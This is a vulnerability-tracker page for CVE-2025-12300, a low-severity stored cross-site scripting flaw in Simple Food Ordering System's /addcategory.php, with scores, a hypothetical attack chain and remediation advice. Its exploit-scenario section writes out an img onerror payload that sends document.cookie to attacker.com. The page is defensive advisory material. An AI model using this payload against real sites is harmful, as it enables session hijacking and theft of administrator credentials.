Skip to main content

Simple Food Ordering System CVE-2025-12300

LOW
Cross-site Scripting (XSS) (CWE-79)
2025-10-27 cna@vuldb.com
2.1
CVSS 4.0 · Vendor: vuldb
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Submit malicious cname parameter to /addcategory.php
  2. Delivery
    Payload stored in database or reflected in response
  3. Exploit
    Administrator views category management page
  4. Install
    JavaScript executes in admin browser
  5. C2
    Session cookie or admin credentials exfiltrated
  6. Execute
    Attacker hijacks admin session
  7. Impact
    Modify menu prices or steal customer data

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

The attack requires a user to view the affected /addcategory.php page (or any page rendering the category list) after the malicious cname payload has been submitted or stored. Exploitation is limited by the following conditions: (1) User interaction (UI:P) is mandatory - an attacker cannot achieve impact without a victim visiting the poisoned page; (2) The vulnerability appears to affect the category management interface, likely restricted to administrators or staff roles, though the CVE description does not explicitly confirm authentication requirements; (3) The application must render user-supplied category names without HTML escaping or must reflect the input unsanitized in error messages or confirmation pages. No special network configuration or non-default settings are stated as required; the vulnerability exists in default installation if an attacker can submit to /addcategory.php (authentication status for this endpoint is not explicitly documented).

Impact

The risk assessment reveals a disconnect between CVSS severity (2.1/4.0) and real-world exploitation likelihood. CVSS correctly identifies low impact (VC:N, VI:L, VA:N on confidentiality/integrity/availability) and requires user interaction (UI:P), reflecting that stored XSS alone cannot execute code or access files without victim interaction. However, EPSS score (0.03%, 10th percentile) suggests minimal prevalence of active exploitation despite public POC availability, indicating this is a low-priority but not negligible vulnerability. The presence of a publicly available exploit (GitHub reference) combined with remote network access (AV:N) means attackers have low barriers to crafting malicious payloads. The key mitigating factor is UI:P: attackers must trick or wait for users to view poisoned content. This is a medium-term patch priority: not critical (no RCE, no authentication bypass), but exploitation is technically straightforward and reputational damage from XSS attacks on a food ordering platform could affect user trust and payment data handling. Organizations running version 1.0 should patch within 30 days.

Exploit ScenarioDerived

An attacker crafts a malicious URL or submits a form to /addcategory.php with cname set to '<img src=x onerror="fetch(attacker.com/steal?cookie='+document.cookie+')">'. If an administrator or other user visits the category management page to view or edit categories, the injected script executes in their browser, exfiltrating session cookies or redirecting them to a phishing page. With public exploit code available on GitHub, this attack requires minimal skill and can be automated.

Monitor Track and reassess. Why: LOW severity (CVSS 0.1-3.9).
No patch listed yet 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Apr 29, 2026

Stored cross-site scripting (XSS) in Simple Food Ordering System 1.0 allows remote attackers to inject malicious scripts via the cname parameter in /addcategory.php, which are executed in the browsers of users viewing affected content. The vulnerability requires user interaction (UI:P) to exploit but has a public proof-of-concept available. Despite the low CVSS score (2.1) and minimal EPSS percentile (10%), the combination of remote network access and public exploit code necessitates prompt patching to prevent account compromise and session hijacking.

RemediationAI

Upgrade to a patched version of Simple Food Ordering System released by the vendor following disclosure of CVE-2025-12300. If an immediate patch is unavailable, implement input validation on the cname parameter to reject or strip HTML/JavaScript metacharacters (< > " ' &), and ensure all output to HTML is HTML-entity-encoded. Deploy a Content Security Policy (CSP) header set to 'default-src self; script-src self' to block inline script execution as a defense-in-depth measure (trade-off: may break legitimate inline scripts in the application, requiring code refactoring). Additionally, sanitize all user inputs on the server side using a library such as HTML Purifier for PHP before storing or rendering category names. Monitor the code-projects.org repository and CVE feeds for patch availability. If the vendor is unresponsive, consider replacing the application with a maintained alternative.

Affects your stack

Find out whether the stacks and servers you run are on an affected version.

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The vulnerability resides in a PHP-based web application (Simple Food Ordering System by Fabian) that fails to properly sanitize user input in the /addcategory.php endpoint. The cname (category name) parameter is processed without adequate output encoding or input validation, allowing attackers to inject arbitrary JavaScript code. This is a classic reflected or stored XSS vulnerability (CWE-79: Improper Neutralization of Input During Web Page Generation) where untrusted input is echoed directly into HTML responses or stored in a database without escaping HTML entities or applying Content Security Policy headers. The attack vector is network-based (AV:N), requires no special privileges (PR:N), and relies on low complexity (AC:L), making it easily reproducible with standard HTTP requests.

Know when Simple Food Ordering System gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (vuldb) PRIMARY 2.1 LOW
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P

Primary rating from Vendor (vuldb) · only source for this CVE.

CVSS VectorVendor: vuldb

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
Passive
Vulnerable system: Confidentiality
None
Vulnerable system: Integrity
Low
Vulnerable system: Availability
None
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

DescriptionCVE.org

A weakness has been identified in code-projects Simple Food Ordering System 1.0. This issue affects some unknown processing of the file /addcategory.php. This manipulation of the argument cname causes cross site scripting. The attack can be initiated remotely. The exploit has been made available to the public and could be exploited.

Threat Intelligence Overview

EPSS Score
0.0%
Top 90% exploitable
Exploit
POC
Public exploit code exists
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity LOW
CISA KEV No
Public POC Yes
EPSS 0.0%
Patch available No
Active threat No
Deciding rule
LOW severity (CVSS 0.1-3.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
Poc
System Exposure· derived
Open
Automatable· derived
No
Human Impact· derived
Low

Priority Score

30
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +10
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

Affected Products (CPE)CVE.org

cpe:2.3:a:fabian:simple_food_ordering_system:1.0:*:*:*:*:*:*:*
CVE-2023-0902 MEDIUM POC
5.4 Feb 18

A vulnerability was found in SourceCodester Simple Food Ordering System 1.0. Rated medium severity (CVSS 5.4), this vuln

CVE-2026-13571 MEDIUM POC
5.5 Jun 29

Price parameter manipulation in SourceCodester Simple Food Ordering System 1.0 allows unauthenticated remote attackers t

CVE-2025-6161 MEDIUM POC
5.5 Jun 17

A remote code execution vulnerability (CVSS 7.3). Risk factors: public PoC available.

CVE-2025-12378 MEDIUM POC
5.5 Oct 28

Unrestricted file upload in Simple Food Ordering System 1.0 (PHP) allows remote attackers to upload arbitrary files thro

CVE-2025-12301 MEDIUM POC
5.5 Oct 27

Unrestricted file upload in code-projects Simple Food Ordering System 1.0 allows remote attackers to upload arbitrary fi

CVE-2026-4532 MEDIUM POC
5.5 Mar 22

The Simple Food Ordering System through version 1.0 allows unauthenticated remote attackers to access sensitive database

CVE-2025-11396 MEDIUM POC
5.5 Oct 07

SQL injection in code-projects Simple Food Ordering System 1.0 allows remote unauthenticated attackers to manipulate dat

CVE-2022-2683 MEDIUM POC
5.4 Aug 05

A vulnerability, which was classified as problematic, was found in SourceCodester Simple Food Ordering System 1.0. Rated

CVE-2025-13290 LOW POC
2.1 Nov 17

A vulnerability has been found in code-projects Simple Food Ordering System 1.0. Rated medium severity (CVSS 5.3), this

CVE-2025-12302 LOW POC
2.1 Oct 27

Cross-site scripting (XSS) in Simple Food Ordering System 1.0 allows remote attackers to inject malicious scripts via un

CVE-2025-12299 LOW POC
2.1 Oct 27

Stored cross-site scripting (XSS) in Simple Food Ordering System 1.0 allows remote attackers to inject malicious scripts

CVE-2025-12298 LOW POC
2.1 Oct 27

Reflected cross-site scripting (XSS) in Simple Food Ordering System 1.0 via the pname parameter in /editcategory.php all

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy